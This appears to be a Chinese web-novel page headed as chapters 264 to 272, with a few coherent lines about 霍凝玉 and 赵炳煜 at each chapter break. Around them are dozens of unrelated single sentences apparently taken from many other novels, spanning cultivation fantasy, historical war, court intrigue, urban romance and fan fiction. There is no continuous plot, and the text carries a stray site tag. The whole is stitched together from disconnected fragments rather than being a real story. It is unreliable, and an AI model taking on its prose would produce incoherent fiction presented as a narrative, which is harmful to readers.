但却有一种莫大的玄妙,让他灵魂深处都得到了安抚,仿佛那些情绪,业障,诸如此类的东西都给镇压住了。
诸怀虚影挡住刀芒绝大多数的力量,逍遥踩着七星步想要借助速度的优势躲开这末梢的攻击,可奈何被其锁定,一缕发梢直接被斩落。
一帮新生欢呼起来,默默聚集起来围观教官的练手,最终他们教官取得了压制性的胜利,那个突然冲过来的人被死死的压在膝盖下面。
突如其来的阴影让苏晓青愣了一下,逆着光,抬头看去,来人一共六个,个个都一副强壮的样子,倒是有些像黑/社/会的。
第一卷 第264章 钟离洛虎目含泪
原来奚胜早已前往西京汇合了龚端,奚胜说明来意后,龚端让兄弟龚正领兵五万坚守西京,自己与奚胜统领十万贼兵前往伊阙山布下六花阵,专等宋军到来。
先入为主的他,在周秉然这刻意的做作下,直接就掉进了周秉然的圈套。
红月这才发现,原来距离胸前的几寸位置破开了一个洞,红色肚兜都能看到,羞得她赶紧接过披风,遮挡眼前的尴尬。
也可以看出来现在的魏生倩倩吴弟他们的实力,有多麽的恐怖可怕了,在鬼海的里面他们可是把这些恐怖凶猛的大巨兽当做玩具一样的玩,而在这里却是变成了人类和鬼蜮的噩梦了,拼死也不见得可以杀掉一只凶兽。
“传销组织的目标貌似是针对我们的,他们应该是为了营救陈一辉。怎么办,我们现在是不是要有什么计划?”王海生询问着贺川,心焦急不安。
那只镯子是薛湜买了送自己的,静和没有继续这个话题,正想再出门去四处转转,却听见楼下一阵嘈杂。
泰格对着正愣愣出神的三人出声道,然后默默的将太阳能激光切割刀藏了起来,虽然他知道面前的苏奴和艾米不是歹人,但财不外露的道理还是知道的。
“好了。我们先吃饭吧,这些事情饭后再讨论。”见到几人一时间沉默下来,苏奴笑着提议道。实际上几人也都是早上就出门,一天都没有吃饭了,虽然有不错的修为,但肚子还是感觉有些饿了。
林宇胜也不是能耽误正事的人,洛雨送来一台阶,他也就马上踩了下去。至于池果儿,到底还是一位高级异能者,也是他的下属,没必要计较太多。
司雨雪,牧妙嫣,令狐灵雁,丁悠悠也震撼的眼珠子都要砸在地上了。
有了这个基础,他相信以赵青雀的圆滑世故,潘淑慧人情练达,西门吹雪的冰雪聪明,一定能够处理好后续的事情。
“纳兰云升,我要是也能有你这样的哥哥就好了。”太子眼神中满是羡慕,但说起话来一板一眼,真有几分天子的样子。
只是侯景有些不忿,但碍于白虎和黄虎的权威,有些敢怒不敢言。
闻言,林阿婆的动作一顿,目光往房内看了一眼,就看到林锦歌盘腿坐在蒲团上,双眼紧闭的样子。
“哥哥让跪就好好跪着,万一他生气了你们就完蛋了,我就先回去了。”林绵绵转过身子,没走几步又折回来了。
一场大火在山洞中烧了大半天,那一直嘤嘤嘤哭闹的婴儿声才消失。
不对,就算甘兰单纯甚至还不会为人处世,也不会在大庭广众下说出这样犯众怒的话。
周姑姑不想此事闹大,轻描淡写地盖棺定论,说是李妃疯了才和绿蕊跑到这竹林里打架,然后被对方所杀害,就地埋了吧。
山姆帝国作为传统的娱乐大国,音乐、舞蹈、电影等项目的霸主地位几乎无人可以撼动,可以说粉丝遍布全球。
“话可不能这么说,毕竟运气也是实力的一种嘛。”北院的老师摸了摸自己的胡须,悠悠道。
在一顶充满着古代战争风格的营帐里传来了阵阵质问与吼叫,军帐内外尽是怒骂和愤怒,清晰可听。
“殿下,我中山国先王夭折后,王府一直空置,只留有一些老仆丫鬟看管打扫,您看看,我们是不是?”李扬开口询问刘天浩说道。
说道这里,呼厨泉竟是泣不成声,哭了好一会儿才缓过劲来,继续讲道。
因此,日夜面对一个千娇百媚的极品美人,再加上对方是经过特殊训练的,最能在不经意间勾引男人,所以雪夜大帝即便不善久战,也难免被撩拨的火起。
在下单后,没过一会,一位忍者装束,只是额头上戴着并不是木叶护额,而是一根跟树枝差不多的护额的忍者走了过来。
“陈兵边境,把大营拉到最前面,给孙权一种我大魏军队时刻都有可能越过其吴国边境的假象。
玉前锋语气阴沉,两只能单手握住篮球的大手,分别扯住胸襟的两角,双臂肌肉鼓起,手腕上暴突的长筋宛若一条钢索。
路人们看到这么多的泡沫,也觉得这洗衣皂应该要比皂角好多了。
但就在这个时候,展示完将石中剑再次包裹好的山崎海,突然轻轻地干咳了一声。
“我的伤已无大碍。”封战说着,站了起来,看着没骨头似的靠着石桌的楚千棠,道:“明天傍晚,我来找你,我们去玄武场上打。”说着转身便走。
攻击沈家岭的突破口很难选择。两侧山高谷深,坡陡崖峭,不仅无路可走,而且受到东西两面火力夹击,无法突破。惟一的办法就是正面硬攻。但这个葫芦形的阵地,简直像个缩头的刺猬,要拿下它非常棘手。
祢衡的脑筋一阵眩晕。越是聪明的人,对这种是是非非越是较真。对中有错,错中有对。不同的立场就有不同的对错。这一下子就把祢衡牢不可破的是非观,给击穿了一个漏洞。
可是对方竟然打马虎眼一看就不是什么好人,于是她毫不犹豫的下令把人砍了。
说实在的先前的,曹操那还对于满宠的言又认可又看不起。可现在却多少对满宠有了一些失望。
慌乱中冲出帐篷的马其顿人,普通的兵士找不到自己的首领,而那些首领也找不到自己的兵士,一片的混乱。
第一卷 第265章 五层云梯
近来赵炳煜国事繁忙,霍凝玉在府里做些什么,并没告诉他。
想着等做成了再告诉他。
没想到他今日这时候回府。
“我和鲁师傅一起研究设计的云梯。”
接着,霍凝玉就把两人的想法说了一遍。
听得赵炳煜眼睛越来越亮。
“鲁珩,本王命你尽快做出样品。”赵炳煜对此很看好。
本来她还以为要两个月才能痊愈,不过看现在的情况,陆行止也许不要半个月就能出院回部队休养了,可能一个月后就能慢慢的参与日常训练了。
刚进来的初洛一愣,主子问这个干嘛?她不是应该先问大少爷在什么地方吗?
陆铭低笑一声,垂首靠近她侧脸,故意将温热的气息吹拂在她耳边。
某人从健身房出来后,看到短信,心情很不错。一边吐槽,被老婆用的越来越顺手,一边甘之如饴。
就在大可准备开车的时候,江瑶却又忍不住朝着车窗外的人看了一眼,“等一下。”这三个字几乎是不受控制的脱口而出。
卫安宁看着他的背影,她知道她不知好歹,但是她不能让他有危险。她知道,保护他的最好方式就是像下午一样,与他并肩作战。
冷幽琛出了一身的汗,见她靠近,一把拽住她的手腕,将她拉倒在床上,一个翻身利落地将她压在身下,薄唇覆在她樱唇上。
至于拘禁甚至是杀害冯异全家这个罪名,自然是推到辩无可辩的死人身上了。
看着她吃着幸福的模样,陆铭心里就满满的格外踏实,仿佛上辈子欠她的,这辈子就专门来伺候她,只要她开心了,他才能舒坦了一样。
秀儿肯定也沒有想到我刚还在这里抽烟,看见我的时候,整个头都低了下去。
保安挥动棍子打向少年,少年身子灵活一躲,躲开了一棍子的同时,也狠狠踹了那个保安一脚。
萧雨一路强行突破金甲军的守护,逃出了鬼门关,一头钻进了冥河。并迅速联系冥皇,向冥皇求救。
随即狄冲打出几道灵雨术,将自己身清洗了一番之后,这才从储物袋中拿出一套衣物,穿了起来。
萧雨支开众将,独自一人来到地牢。地牢是大军临时所建,建在以前的一座乱坟堆上,低矮潮湿,臭气熏天。
那二人虽然有些疑惑,但是刚刚得了好处,对方有是筑基期修士,只能乖乖的顺从,随即告辞走了出去。
“福临,这不是逃,只是明军势大,我们暂时到草原避避风头,你十四叔和十数万将士还在关内与明军作战,等打败了明军,我们还会回来的。”布木布泰道。
元帅凯朗还有一个儿子但也早年战死沙场了。那场战役是五年前撒加利亚帝国和北相邻的夏洛宾帝国发生的一个边境冲突,盖亚那段时间已经在魔兽山脉了,所以对这场战役并不了解。
“嘣!”两道蛮横的力量相撞在一起,光芒更胜,连整个擂台都为之晃动了。
躺在病床上身子不能动,只能脑袋动动,眼皮动动,嘴巴都是安装着氧气瓶,特别的难受,这种想动不能动的滋味也真够蛋疼的。
她迷糊中,看到那护甲是用纯金打造,上前镶嵌着红绿翡翠,奢华至极。
一场宴会下来,别人吃饱没吃饱扶若鹤并不知晓,但她却是的的确确的吃饱了。
虽然和魔族相比,实力还有些差距,但也要比一般的人类战士强太多。
第一卷 第266章 皇婶最好了
乾德帝眼睛猛地一瞪。
“怎么回事?”
林德全也看到里面是空的。
昨日还是他亲自收进去的。难怪他捧着托盘感觉重量有点不对劲。
原来玉玺根本不在盒子里。
瞬间,林德全惊出一身冷汗。
和之前的叶绵绵相比来说,今日的叶绵绵脸上带着些冷漠,不再稚嫩。
迟早早被薛容真打气的姿势逗笑了,她破涕一笑,吸着鼻子走向餐厅。
再说,这也是叶炔交给她的一项很重大的任务,她岂敢不全力以赴吗?
而眼下这种三口之家,加之方才那大圆床的试探之言,佟三娘才不信他没有动歪心思。
即便绝大部分梦境都已记不真切,心中却已不再对其有厌恶之情,恰恰相反,有一种她从未体验过的微妙情绪始终萦绕在心头。
“我这些地呢我自己一时半会儿没有功夫打理,所以想着把他们都租赁出去。
纪伯常微微颔首,解释道:“我如今炼丹术只是二转初阶,炼制二转丹药的成丹率倒说得过去,但是成丹的品相实在不尽人意。
侯爷夫人脸色大变,她惊恐的往后退后两步,条件反射抬手想要摸自己的脸,却又在即将触碰到面纱那一刻收回。
面对跳出来的自由奖励提取的选项,顾游倾连下面的看都没看,毫不犹豫地就选择了一。
一眼望过去,破庙里零零散散坐了六七个乞丐,里面却并没有金来。
在河道的两边,生着极为繁茂的草木,这里的草木,比外界要旺盛上太多。
奎安娜应该也知道她左右不了郎战的意志吧,所以,哪怕知道佣兵是刀尖上跳舞的职业,哪怕知道这一次的分离就可能意味着人鬼殊途,她还是毅然而然的决定以最善良也是最残忍的方式离开。
保护者毕竟不是专业的保安,因此行动的自由度还是比较高的,只需要保证待在任务地点不离开,遇到事件及时响应就行。晚上出来行动,反而更像是让他们趁着没人可以自由活动一下。
“阿进你看,这个机器人你喜欢吗?”j拿着一个电动玩具机器人逗着巧克力,虽然她忧愁之色难消,不过此时脸上还是带起了点点的笑意。
这位叫锡德伯爵的英国人很绅士的对着刘伟微微弯腰介绍了下自己。
而对面,赵辰见此,手中的紫幽偃月大刀也是猛地挥舞,疯狂拦截。
“唉,二哥最近的脾气是越来越暴躁了,没以前温和了”游植培坐在椅子上一边吃着饭一边唉声叹气的对曾陆说道。
咳咳,古风干咳了两声。什么少想些少儿不宜的事,这几年里,他儿子做的少儿不宜的事,还少吗?
中期武尊,可以覆盖周围五百里,心神一动间,可以察觉任何风吹草动的信息。
一如炼化陨落心炎和火中冰,炼化虚无神炎也是一个耗时日久的过程。
儒教祭酒荀爽之所以带他们三人前来,正是想着悉心培养荀氏一族未来的几名扛鼎大才,传授自己耗费数十年总结出的察言观色之道。
“原来如此!”白夜点点头,他就知道这次返回玄辰界,没有见到佛门插手,果然是宗门对佛门施压了。
更蛋疼的是,王诺还没想好投资公司的名字,袁荣信这边就开始一口一个“感恩投资公司”叫起来了,而且叫得那么顺口、那么理所当然。
第一卷 第267章 为何服用藏红花?
月影也缓缓收回所有精神力,从随身空间里抓出一只没有精神力的松鼠丢到地上。
可惜,这句话还是晚了。只见那对面山峦上的几星火把,在吕布话落之时,终于停止了下来,方位正对着吕布大军。而那几星跳跃的火苗,一时间竟如鬼火一般,似乎挣扎着要扑向吕布大军一般。
煽情的话,落寞嘴笨,不会多说。唯有用更新来表达我的诚意,开学福利:今天保底更新15更。
虽然大堂上的气氛相当紧张,不过邢泰然却一点都不担心,他们越是悲愤,丹门的人便越会相信丹凤生已经走了。
他真的没有想到,这些人居然还没有决定要不要去叶家,叶锦幕都要征询他们的意见。
时维九月此刻,在洛阳城之中,汉灵帝已死,却是没有留下遗嘱,在何进他们的扶持之下,少帝刘辩,然后何进和宦官争斗,却是死在宦官手中。
几乎仙界的所有人都知道,天心殿的这一代圣子并不喜欢使用外物,甚至有些不耻那些依仗外物的修炼者,完完全全是用一双肉掌打出的名声。
愣怔出去了,托桑到门口吩咐外面的战士,从现在起没有我的命令任何人不许靠近这间办公室。不管是谁要进去,一律挡驾!要是有人不听劝告硬闯的话,警卫有权开枪击毙,打死人之后再报告!这就叫先斩后奏。
伪军们面面相觑,他们不知道几个日本兵为什么跑得这么急?不过太君已经交代了,让他们坚守哨卡盘查来往行人,那就严查呗。伪军们端起了枪,看起来倒有几分威风劲儿。
王朗目瞪口呆,然后呆了,他心中已然是有了最坏的想法……冠军侯来了。王朗心中的一股恐慌越来越强烈,他害怕了,廖兮,廖兮是什么人,不行,不行,他一定要离开。王朗在心中如此说道。
紫虎妖圣开始胡思乱想了,紫虎妖圣越想越觉得潘辰,牛魔王,青狮,幽狼王四人准备破坏南赡部洲联盟的建国宴会。
之前他看王启年时候,发现王启年像是受了什么重伤一般,双目无神,而且脚步虚浮,实力更是无法正常发挥。
所以当三位阿哥前后脚出迈出兵部大门的时候,李德全才把这前前后后的事情当做笑话一样在康熙跟前给说了。
而对方容二爷,则在信称呼其为宋宗主,容家这些年与宋海致一直有生意上的來往,可以说是非常的密切,可以说,宋海致是容家生意最大的客户,从海货、丝绸到木材再到药材,涉及各个方面。
“老大!”陈浩然一把抓住陈飞的肩膀,陈飞含糊不清道:“怎么了?”并没有料到陈浩然会来。
和萧少峰没有联系的第十天,我因为好奇他的动向而失眠,实在没办法,花了两百元去超市买了瓶红酒,干掉半瓶后,才有了睡意。
秦道然正和何焯亦刚摆上棋局,听见有人挑门帘进来,头也不抬的说:“阿哥们都去校场了吗?你们娘娘要是想见,自行方便就是。”只当是哪位后宫贵人打发太监来撞木钟想悄悄瞧一眼自己的孩子。
两把形状相反的钥匙掂在手中,齐晦将慕茵说的那些话告诉了表兄,如果开启山洞里的机关,最终是祸国殃民为敌国打通来犯的道路,还不如永世封存的好。
这一边,齐晦领着简风翻过简府墙头,悄无声息地就进了内院,府中的情形比他们想象得好些,把守的重兵仅仅围在宅门外,家里一切如旧。简风一进家门就熟门熟路,反是齐晦跟着他,径直往简老侯爷这处来。
念声刚想支起身子看了胤祥说话,可才一动,就被又给按了回去。“那谁让你喝那么多酒的?你自己闻闻看,都跟酒缸里捞出来的差不多了。”念声干脆放弃了挣扎,任由胤祥抱着她。
众人念着他们于罗禹实有救命之恩,且天性淳朴烂漫,也只好一笑置之。
经此一战,虽然地仙榜离开了孙悟空,但镇仙锏却与三藏法师的九锡禅杖相合,想来整个队伍的实力又有所提升。
哥拉汗的计谋显然已经成为贵霜唯一的希望。!quanbn!他没有多说什么,径自调动五万贵霜兵,以及三千头战象,离开了军大营,去和吕布决战。
每一片叶落,每一缕风动,每一羽鸟儿的惊起,都让他在剎那升起希望,又在瞬息灭了火花。
癞蛤蟆想吃天鹅肉!所有男性立即在心底将公孙羽归入了刘景一类人中。而更甚地评价为:狼子野心。意思是公孙羽意图借北宫灵雨地身份。跻身上流社会。做着人财两得。少奋斗一辈子地美梦。
六团混沌原力规则地列成六角形!与神柱中间细细地进行着能量交换。
与此同时,一些修为高深的也在怔仲后为杀机警醒,挣扎着逃离到空中。
这是邀请吗?李尔嘿嘿一笑,瞧见杰米公寓房门打开些许,笑容立刻消失不见,赶紧跑了过去。
而后说起的则是一些家常里短的东西,言语之中,却也不乏一些试探与警告,当然大人们的游戏,旁边的几个孩子却听不明白,想着家里的吩咐,倒也有孩子竖着耳朵听,想着记下来,然后回去与家里人说说。
前方开始勾心斗角的同时,长安也开始了准备。为了彰显大秦的实力,吕布手下的臣子,也开始了一系列的准备工作,准备欢迎来自远方的朋友。
虽然它已经有了心智,但是从他喜怒无常的状态就可以看得出来,这个畜生的灵智并不算很高,最起码,萧尘肯定,它没有自己聪明。
“呵,那我试试。”初阳也怀疑那个灰太狼公仔有问题了,于是也不推辞。
第一卷 第268章 可怜的一对母子
各种难听的话从几个打人的孩子嘴里说出来。
青风不用主子吩咐,上去就把几个孩子提起来分开。
阿水瞬时间伤了六人,余下五人心下颇有些胆怯,只是一个劲的防守,不敢主动进攻。
“我为何要下城,事情到了这般,我就要日夜在城上值守了。”朱达闷声回答。
“怎么会!不是装的是食物吗?怎么会发出响声!”罗宇心中一阵惊疑。不知道这到底是怎么回事。
再次抬眸,却见眼前一抹高大的黑影贴了过来,直逼得她无法呼吸。
但是她相信,如果是人做的,那么,一定是那个神奇的和尚做的。
圈子大佬和段子手们纷纷出现,毕竟这完全超出人们的套路观念,不断章不拖更不出游取材就算了,什么时候作者会这么勤劳到爆肝,简直是业界良心。
“你想干嘛?”简;福斯特很听话的抱紧了索尔,贴在雷神索尔那宽阔雄壮的胸膛上,有一种十分安全的感觉。
江湖上人均有想看热闹的心,听说还有热闹可看,哪里肯走,便都站定不动。
乔君诚并没注意到刚才南宫茹的异样,听到星炼的呼声才从震惊中回过神来。
“你三妹都成亲了,我做为你的未婚夫自然要来,也好让绍城的百姓看看是我出‘色’还是林雪痕出‘色’。”景晔含笑道。
但秦家能屹立云水城那么多年,身为家主的秦汉,为人绝对也是老奸巨猾,深谋远虑。
两人来到公寓楼下,车停好,两人下车,唐靳御刚要和简柒上楼,注意到旁边的车辆,他的脚步顿了一下。
“紫大人,今天橙传来消息说魔界那边有人捡到了一个很奇怪的……呃,石头?”八云蓝自己都有点不确定。
南笙看起来和秦朗走的很近,但好歹不是秦朗的人,在他眼中,南笙不至于会有生命危险,自然就很放心。
他不想在这样的事情上退让,哪怕云忍村因为这件事情发生大变,但他们木叶一方完全是无辜的,被强行开战,现在对方居然想一句话解决纷争,他们怎么可能让木叶的忍者们白百战死吗?
这一路来,凭借着火炮之利,程咬金等人已经破了好几个国家了,有些国家更是闻风而降。
怪物们此起彼伏的咆哮声聚集在一起,让整个楼层的冒险者听了之后都不禁两腿发抖。
“有朋自远方来,不亦说乎?”李承乾哈哈大笑,然后向里面走了去。
一名穿着作战服的男子惊恐地看着手中损坏的枪械,还处于呆滞的时候,就听到自己的身后响起了阴恻恻的声音。
破碎的精金迸裂,密密麻麻的裂痕就像蜘蛛网一般,朝着四周延伸开来。
张晓晓没想到这个大婶还挺大方的,当即就给她挖了两大勺的肉,看起来满满当当的,足足有两碗多呢。
罗简更倾向于第二种可能。也就是说,现在在酒吧里可能不止一个丧尸,危险程度增大,而她们两个,还能顺利的原路返回吗?
他去继承魔术,更多只是因为这是继承庞大的间桐家家业的前提,而不是出于本心,所以,直到正式开始继承前,间桐雁夜的童年都是很普通的度过的。
第一卷 第269章 图我这个人?
唯一的办法,就是少说多作,多看多想,能不开口就不开口、沉默是金在哪里都是通用的。
此事的发生,对老麦来说,只是一种投桃报李的行径,然而对于陈局长来说,却彷如一记老拳,直砸得他眼冒金星。
听到树碑立像之事,阿黄兀自感到尴尬,更不好提到自己看见过雕像的事,还有在乎琢星塔城之下遇到过倰老者,加起来可是有得解释的,只好无语地笑笑。
为了证实心中的猜想,也为了不让自己的心为之冻结,他开始疯狂的往院子里面跑去。
“秦老,这就是你的不是了。难道你忘了我们孙家是做什么的了,资金方面,跟我说一声就好了,自然是责无旁贷的。”孙世豪这个时候,却也是恢复了从前一般的和蔼可亲。
坤土哈哈一笑,他还真怕林雨生出其它想法,若是对方不肯,凭门中那些筑基弟子要想完成那件事,几率不到三成!毕竟还有一个“五毒门”同样对那处地方虎视眈眈。
我们要用智慧,而不是暴力,能不杀人就不杀人,能不能伤人就不伤人。
首领大神师说罢这番话,默默等候一阵,然后遂摇摇头,挥手斥退身后的几名神师、巫师,咬咬牙在胸前划起咒符来,渐渐地他的头顶上空天幕中出现缕缕闪电,让人感觉到滋滋作响。
她笑着抬头看他,月光从顶上落下,宛若朦胧的轻纱,将他的身影越发拉得颀长。投影落在她的身上,占据了她的一切。
王上没有赐他封号,一直都叫他王叔,王叔亲自接见了蕊儿和安铁儿。
“妈的,老子最讨厌偷袭!”多日未见,萧力脸上已经少了一份稚气,却多了一份儒雅稚气,此时,他举着狙击步枪,望着歪歪扭扭倒下去的混混,愤愤的说道。
单单做这些还不够,开棺之前还需要在棺头棺尾插上三炷香,贴上符纸,用来镇尸。
陆子谦看着她失笑,他算是看出来了,这姑娘果然够花痴的,和他真挺一样的,不过是他们欣赏对象的性别有着本质的差别而已。
我于是重新进去睡了,在我进去的时候,我看见奶奶拿了一个纸人出来,我一只腿跨进了门槛里,另一只脚还在堂屋里,就问奶奶拿纸人做什么,奶奶说我先去睡吧,她让这个纸人替我糟着罪。
凤凤那心顺着老妈妈焦灼字句的吐露,而“噗通噗通”跳动的厉害,她压住杂绪静了心念,亦焦灼的静听这妈子继续说下去。
“胡闹什么。”下了早朝回到府中的冷鹏远就听到自已的夫人要打死人,所以,脸沉了下来,怒喝一声。
“额,''偷吃了我的朱果,被我师父抓到了,送给我做了命宠。”淞婉觉得这个没必要隐瞒。
“对不起。”即便这三个字听起来太过苍白无力,可她不得不说,这是她欠他的。
想着我们已经进到了老家的院子里,奶奶坐在屋檐下折纸钱,见我们进来看了我一眼,手上的动作也没有停,然后就继续折她的纸钱。
在这后宫之中,北冥宏阡才是老大,她冷千千只能排老二,当然,一人之下万人之上的九五之尊北冥傲回到后宫只能排第三。
这样一来是相当麻烦的一件事,当然,麻烦在奏报这一块稍微好一些。而萧漠记得,自己可是在各个村子都建立了学堂的。学堂里授课用的是什么?难道也是木简或者布帛?
顿时两道能量冲击在地面上留下了两道不算浅痕迹,杨冲和萧雄都能够详细的看出,仅有五转的天工刚才没有动用力量,也没有动用自己体内的内力。
语毕,令人心惊胆颤的鬼哭狼嚎声,响彻洞穴,黑压压的一片鬼众毫无生气地瞪着他们三人,一种说不出来的寒意从脊梁慢慢传来,诡蝶身边浮现出大量的紫蝴蝶,上下翩翩飞舞,扑鼻花香四溢,但她动作有些迟疑。
作为一个还有很多事情没有去完成的人,叶风是不会轻易将性命交给别人的。
上次说到你又去看追风的篮球比赛,这次你受伤了,是心伤,心好痛的那种。
众人相视一眼,都是点头,确实,如果不联手,就真的只有死路一条了。
雪峰不经意摩擦了一下毒蛇的后背,毒蛇差点没有将之就地正法了。
叶雪并没有跟进去,而是在修士交易馆外面闲等,看见林羽出来,淡淡的脱离靠着的墙壁,上前去。
黑线还是老样子,不过看起来聪明了不少。空间里它老老实实地,也能呆上半天。
“除了挑战者本人,其他人不得进入皇宫。”面前侍卫挡住了庞寅,义正言辞的说道。
不得其门而入的夏明星搓了搓双手,脚下一蹬,双手扒住墙头,直接翻了进去。
“说的不错,是时候拿出最后的底牌了!”南天鬼将点头,嘴角露出一抹诡异的笑容。
唐安那边还有些清洁善后的工作要做,两人约好,等唐宝忙完自己的事情,再来凤髓楼找他。
此时画面终于恢复正常了,王宇冲着镜头和久违的粉丝们打招呼。
老实说,即便王宇根本不信鬼神之说,但是突然见到这一幕,心中还是有些发毛,本以为是个藏宝地点,这个地下洞穴中应该堆满财宝,结果没想到竟然是一个墓穴!
李然也有些不高兴,什么嘛,人家只不过是说了一句罢了,还不是为了你好。
这样的人,回到最原先的部队的话,估计他也可能会有一番出息。
此时的天色已渐暗,刚回到一号船坞就看见了焦急等待的绮琴等人。
明眼人都能看出来,幽冥处于绝对的下风,虽不能说是毫无还手之力,但也是一直被压着打。
第一卷 第270章 招揽人
李大叔看了一眼桌子上多出的几个铜钱,脸上一笑,知道花梨是不想让那混沌老板亏了,那三碗混沌里面用的馅能多包两碗出来了。
歪着头?不成不成,好端端的怎可让华容歪着头走路,成何体统。刘峰连忙打消了这个念头。
她能及时地醒过神来,强作镇定。有极大的一部分是因为她肚子里还有一个未出世的孩子。
今晚好歹是青荷与大弟的“洞房花烛夜”,怎么地,也为他们燃对红烛,也不枉她与青荷主仆一场,与夏子轩有姐弟之情。
能在裴家做事的人,又岂会是一点脑子也没有的人。她只怔了一怔,便回过神来,明白了池婆跟王嬷嬷的区别,也明白了自己今后该如何做才好。
面对这个情况,冯继开不知此情况是喜是忧,心中总是隐隐不安。
好在这里是泥路子,上面也没有太多的沙石,摔一跤,也不会特别狠,要不然的话夏池宛也不可能放开胆子让安儿跑。
阴天听完后连忙点了点头说:“娘娘说得太对了,这倒也不乏是一个好主意,可是要让谁把这个主意泄露给她呢?”阴天问道。
法衣?关法衣什么事儿?蓬莱低头看看自己,不就是一身浅青‘色’的法衣,最多衬得她出尘脱俗灵透动人么,都是云矶打点的,她也没多在意,关键是太华丽的法衣她撑不起来,要不她早开口问云矶要了。
求神祷告,烧香拜佛,求人奔走,皆是无用。还是要紧紧抓住她的夫主周家六爷,方为正道。
登时,楚天的右脸便泛起一阵火辣辣的痛,某些滚烫的液体顺着脸上的那抹火辣,流了下来。
顾婉音也没再多说什么,只让荷露去叫了奶娘过来。随后把其他人都支了出去。
嘉莉丝这边看了一眼手上的荒心之戒,然后一个念头突然从脑海中浮现了出来,而后,耳熟能详的系统提示音也跟着出来凑热闹。
不消片刻,楚天便在楚家的屋顶上逛了许久,楚天眼观六路耳听八方,可愣是没找到他昨晚睡的房间。
良久,秦阳豁然睁开双眼,眼中精光闪烁,甚至整个秦阳的身体,都显得神采奕奕。
天琼山脉纵横绵延近千里,乃是郑国和晋国两大霸主国的边境,双方都在此屯兵数十万,设立关卡,郑国更是在此建立天琼关,开出优惠政策,引百姓前来居住,经过几十年的营生,此处已经是郑国下辖繁华城市之一。
顾老夫人袒护齐氏,那她便是要绕过顾老夫人,将此事揭露出来,然后再借由顾瑢音和怕其他人的手,除去齐氏。
“这次是她的一次挑衅,目的就是在我们的地盘上给我们一个下马威,你之前所说的风天家族会吞回港澳地区所有的赌业,我觉得这个事实是存在的,风天家族成为黑伞亚洲代理人后,第一件要做的事情就是这个。”林风道。
刘老头很富,富得流油,连尿壶都用金制的。但是刘老头很抠,抠得林风绞尽脑汁地跟他斗了十几年,也没办法在他身上榨出一点点油水。
“什么?原来冕下早已经知道炎王逃离了封印,可、可冕下您为什么没有通知我们?”魔人族的长老一脸吃惊的看着梦月云,然后责怪道。
“总司令,我现在终于明白您鼓励其他国家,建造大型战舰的目的了,说难听点就是阴谋,未来的海洋将会是中国海军的天下”萨镇冰释然道。
“公子,那些人呢?”另外一人好奇问道,他说说的自然是叶天等六名天级中期武者。
武邑侯从震惊中回神,他怎么也没想到这些人的能力这么强,半刻钟不到就解决了孙耀和这十几个大内侍卫。
辰逸也是为自己捏了一把汗,就在他即将触碰到土莲花的时候,那莲花再次一口吞了上来,泛着冷光的牙齿还挂着些许粘稠的液体。
骤然间,那道影子的右臂迸发出炽烈的白芒,如沸腾的熔岩一般,一颗颗光球接二连三地自其掌心喷发而出。
“又是你们?!”紫褂青蛙一挑眉,看着眼前走来的崔封与石猴,神情说不出的吃惊。
就在这时,一道比一万个太阳更加明亮的光芒突然射入灯火昏暗的指挥室。即使闭上眼睛的人们也被这道史无前例的强光所震撼,无不震惊地睁开眼睛。
王轩龙和严芳一惊,轩辕剑那无比锋利的剑刃距离王轩龙的眉心只有零点一公分,这让他惊出一身冷汗。
高挑的身体从宝座上缓缓起身,赤红的双瞳冷漠地盯着台下的谢乔,缓缓伸出手,手掌在空中轻抚出一道弧度,一股扇形的紫色能量将谢乔整个身体萦绕在内。
他们与那六个鬼童厮杀了好一阵子,原本胜券在握,可突然间,那些鬼童身上爆发出了一道道凶悍的鬼气,好像怎么也打不死一样,不停地死而复生。
第一卷 第271章 辘轳的启发
“而我们南楚的弓都是手持使用,需拉弓、射箭。
城外的曹军阵营中,曹操立于军营最前方,望着不远处的徐州城,眉头紧紧的拧着,以是好半晌没有言语。
神识的能力在这一刻表现得是淋漓尽致,如果不是神识的帮助,墨飞根本没有办法如此完美的防御住这头幽冥魔犬王,恐怕这一道极速变向就让墨飞防御不急而被咬上一口了。
机巧千金和berserker之间的战斗还没有完全落幕,哪怕破坏层面上不及郑磐这边的浩大,双方是谁也奈何不了谁,势均力敌之势。
我原以为这位大老李只是长得彪悍,没想到,人家一见面就给我们露了一手。
一路行来,人们都有些提心吊胆,但实际上没遇到任何异常情况。
亚森已经被黑暗超人给打爆了,在黑暗超人的铁拳之下,亚森和维克多坚持了很久,但是却没有任何用,黑暗超人的铁拳还是打爆了他。
林毅顿时出言责问,但望向儿子的眼神,却满满的都是怜爱之情。
而后,王鹏拿过了柜子里的行李箱,把亡灵黒经和钥匙放了进去扣上。
大日金身出手遏止住雨中仙的攻势,陆青河更是一声长啸,璀璨的剑光照耀九天十地,那刺破苍穹的剑气,更是让无数正在交战的真仙、仙王、真仙强者同时侧目,哪怕那些高高在上的仙帝也不例外。
蓝翊泽同时倚在一旁,因为刚才喝了不少,现在依然有些不清醒,于是就端了一杯水,优雅的喝着。
之前因为种种事情把她想要坦白的事情耽误了,如今时机也不会,外有简凝滋扰,内有与爷爷的关系僵冷。
话就卡在这里,似乎那些不好的事情,在提到她之后,就变得美好,一如他唇边的笑。
“赫连淳,你一定要时时刻刻提醒我。我应该恨你,应该诅咒你下地狱吗?”姐姐苏妙歌的死,像是一把刀插在了苏伶歌的心口。
李铁柱微微一笑冲白风说道,而听了李铁柱的话后白风硕大的脑袋一歪。
洪荒三界之中,太玄盘坐虚空之中,五行圣兽已经回到了原本天地五方天柱之位,等候太玄开天。
通天教主冷笑不已,这“青萍剑”一点,确实将这“殒圣丹”中诸多大道本源吸收感觉,而那符篆只剩下个空壳,被他同样抛到那开始的那件先天灵宝之中。
“天哥,我们都期待你胜利凯旋。”白心她们也纷纷说道,她们也知道今天是总决赛,所以从旧金山赶过来支持自己的男人。
日向柔脸色不变,依旧看着房间的一角,此刻她的眼睛仿佛有着邪魅的吸引力,就像是一块红宝石,在不断的吸引着房间中的光芒。
“如果你出关的话我霸刀宗绝对欢迎你。”霸天虎哈哈一笑的说道。
封印这方面的知识实在太偏冷,沈会仙并不了解,只能临时抱佛脚不断寻求剑典心宗,无数的知识一闪而逝,就像是扫描对比一样。
要说现在面临的一切事还能够算是其他人的一场布局,那那张照片怎么回事……总不可能也是一场布局才对。
第一卷 第272章 有人不要脸
二月十六,国子监祭酒大人万珩之六十大寿。
顾佳倩现在是万家的当家少夫人,万二夫人自顾佳倩嫁过去就交了管家权。
霍凝玉今日打算带着两个孩子一起出席。
